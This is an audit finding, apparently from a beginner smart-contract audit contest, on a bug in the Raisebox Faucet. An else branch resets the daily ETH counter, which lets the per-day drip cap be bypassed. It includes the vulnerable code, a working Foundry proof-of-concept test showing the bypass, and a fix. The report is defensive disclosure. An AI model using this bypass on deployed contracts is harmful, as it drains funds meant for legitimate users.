Raisebox Faucet

First Flight #50
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

dailyDrips reset in else block bypasses dailySepEthCap allowing unlimited ETH withdrawal

Root + Impact

Root cause. In claimFaucetTokens(), the first-time branch correctly accrues daily ETH usage (dailyDrips += sepEthAmountToDrip) and enforces dailySepEthCap. However, the else block resets dailyDrips back to 0 whenever the caller is not in the first-time path (i.e., hasClaimedEth[claimer] == true) or when ETH drips are paused. As a result, any old claimer can call claimFaucetTokens() and wipe the per-day counter, re-enabling ETH distribution for new users within the same calendar day.
This breaks the intended per-day cap and lets attackers “refill” the daily budget repeatedly, draining the contract ETH much faster than designed.

Impact:

  • Daily cap bypass: dailySepEthCap becomes meaningless

  • Rapid depletion: Faucet ETH drained in hours instead of days

  • Denial of service: Legitimate users face inconsistent availability

  • Economic damage: Faucet sustainability destroyed


    * Likelihood: High - trivial to trigger by any address that claimed in the past (only 3-day cooldown required).

Description

  • When !hasClaimedEth[claimer] && !sepEthDripsPaused is false, execution jumps to the else block, which sets dailyDrips = 0;. An old claimer (cooldown passed) can thus reset the per-day ETH usage counter at will. New claimers later the same day will again receive ETH, bypassing the daily cap.

  • This breaks the fundamental daily rate-limiting mechanism of the faucet.

// Vulnerable fragment in claimFaucetTokens()
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap
&& address(this).balance >= sepEthAmountToDrip)
{
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
require(success, "ETH transfer failed");
}
} else {
// BUG: resets daily counter even for non-first-time claimers or when paused
dailyDrips = 0;
}

Risk

Likelihood:

  • High - Anyone who has claimed ETH before can trigger the reset after the 3-day cooldown passes. No special setup or conditions required.


Impact:

  • Daily ETH cap completely bypassed

  • Fast ETH depletion (hours instead of days)

  • DoS and instability for legitimate users

  • Economic damage to faucet operations


Proof of Concept

The following Foundry test demonstrates the vulnerability. It shows how an old user can reset the dailyDrips counter in the middle of the day, allowing a late new user to receive ETH even after the daily cap was reached. Test execution shows the attack succeeds:

forge test --match-path test/DailyDripsReset.t.sol -vvv

[PASS] test_DailyEthCap_BypassViaElseReset() (gas: 486255)
Suite result: ok. 1 passed; 0 failed; 0 skipped

Result: Daily cap bypassed - 3 ETH drips occurred in one day instead of the intended 2-drip limit.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;
import "forge-std/Test.sol";
import {RaiseBoxFaucet} from "../src/RaiseBoxFaucet.sol";
contract DailyDripsResetTest is Test {
// -------------------- Constants --------------------
uint256 constant FAUCET_DRIP = 1000 ether;
uint256 constant SEP_ETH_PER_USER = 0.01 ether; // first-time drip
uint256 constant DAILY_CAP = 0.02 ether; // 2 drips/day
uint256 constant SEED_ETH = 10 ether;
// -------------------- Actors -----------------------
address oldUser = address(0xA11CE); // previously-claimed address
address newUser1 = address(0xBEEF); // morning
address newUser2 = address(0xCAFE); // morning
address newUser3 = address(0xD00D); // morning "third" (should get no ETH before reset)
address lateUser = address(0xF00D); // evening user (should get ETH after reset)
RaiseBoxFaucet faucet;
// -------------------- Setup ------------------------
function setUp() public {
faucet = new RaiseBoxFaucet("RB", "RB", FAUCET_DRIP, SEP_ETH_PER_USER, DAILY_CAP);
vm.deal(address(faucet), SEED_ETH);
// Make oldUser a first-time claimer 4 days ago (so hasClaimedEth[oldUser] = true)
vm.warp(4 days); // start timeline
vm.prank(oldUser);
faucet.claimFaucetTokens(); // consumes 0.01 ETH once
// Assert initial ETH effect: 10 - 0.01 = 9.99
assertEq(address(faucet).balance, SEED_ETH - SEP_ETH_PER_USER, "seed - first-time drip");
}
// -------------------- Helpers ----------------------
function _expectDripped(address claimer) internal {
// Only check indexed topic (claimer). We skip data (string amount) to avoid tight coupling.
vm.expectEmit(true, false, false, false);
emit SepEthDripped(claimer, SEP_ETH_PER_USER);
}
function _expectSkipped(address claimer) internal {
// Only check indexed topic (claimer). We skip data (string reason).
vm.expectEmit(true, false, false, false);
emit SepEthDripSkipped(claimer, "");
}
// Mirror faucet events (needed for expectEmit)
event SepEthDripped(address indexed claimant, uint256 amount);
event SepEthDripSkipped(address indexed claimant, string reason);
// -------------------- Test -------------------------
function test_DailyEthCap_BypassViaElseReset() public {
// Move to Day N morning; pass 3-day cooldown for everyone
vm.warp(block.timestamp + 3 days + 1 hours);
uint256 beforeMorning = address(faucet).balance;
// Morning: two new users legitimately consume the daily cap (0.02 total)
_expectDripped(newUser1);
vm.prank(newUser1);
faucet.claimFaucetTokens();
_expectDripped(newUser2);
vm.prank(newUser2);
faucet.claimFaucetTokens();
// Balance after 2 first-time drips today: -0.02
assertEq(address(faucet).balance, beforeMorning - 2 * SEP_ETH_PER_USER, "cap consumed by 2 users");
// A third new user the same day should NOT receive ETH (cap reached)
uint256 beforeThird = address(faucet).balance;
_expectSkipped(newUser3);
vm.prank(newUser3);
faucet.claimFaucetTokens();
assertEq(address(faucet).balance, beforeThird, "no ETH for 3rd new user before reset");
// Noon: oldUser (not first-time anymore) triggers the buggy else-branch -> dailyDrips = 0
// This call itself should NOT drip ETH (already claimed in the past), but it resets the counter.
uint256 beforeReset = address(faucet).balance;
vm.prank(oldUser);
faucet.claimFaucetTokens();
assertEq(address(faucet).balance, beforeReset, "oldUser gets no ETH, only resets counter");
// Evening: another brand-new user should now receive ETH AGAIN the same day (cap bypassed)
_expectDripped(lateUser);
vm.prank(lateUser);
faucet.claimFaucetTokens();
// Check cumulative ETH effect:
// Initial after setUp: 10 - 0.01 = 9.99
// Morning 2 users: -0.02 => 9.97
// Third user: 0 change => 9.97
// oldUser reset: 0 change => 9.97
// Evening lateUser: -0.01 => 9.96
assertEq(address(faucet).balance, SEED_ETH - (SEP_ETH_PER_USER + 2*SEP_ETH_PER_USER + 0 + 0 + SEP_ETH_PER_USER), "bypass visible");
// i.e., 10 - 0.04 = 9.96
}
}

Recommended Mitigation


Explanation:
• Remove the else { dailyDrips = 0; } branch. The daily counter must reset only on day rollover
(currentDay > lastDripDay), which already exists in the first-time branch.
• This preserves the per-day invariant and prevents non-first-time claimers or paused state from zeroing the counter mid-day.

Minimal patch:

-} else {
- // Resets the daily counter for non-first-time / paused callers
- dailyDrips = 0;
-}
+}
if (!hasClaimedEth[faucetClaimer] && !sepEthDripsPaused) {
uint256 currentDay = block.timestamp / 24 hours;
if (currentDay > lastDripDay) {
lastDripDay = currentDay;
dailyDrips = 0;
}
if (dailyDrips + sepEthAmountToDrip <= dailySepEthCap
&& address(this).balance >= sepEthAmountToDrip)
{
hasClaimedEth[faucetClaimer] = true;
dailyDrips += sepEthAmountToDrip;
(bool success,) = faucetClaimer.call{value: sepEthAmountToDrip}("");
if (!success) revert RaiseBoxFaucet_EthTransferFailed();
} else {
emit SepEthDripSkipped(
faucetClaimer,
address(this).balance < sepEthAmountToDrip ? "Faucet out of ETH" : "Daily ETH cap reached"
);
}
-} else {
- // this resets the daily counter for non-first-time claimers / paused state
- dailyDrips = 0;
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 5 days ago
Submission Judgement Published
Validated
Assigned finding tags:

dailyDrips Reset Bug

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.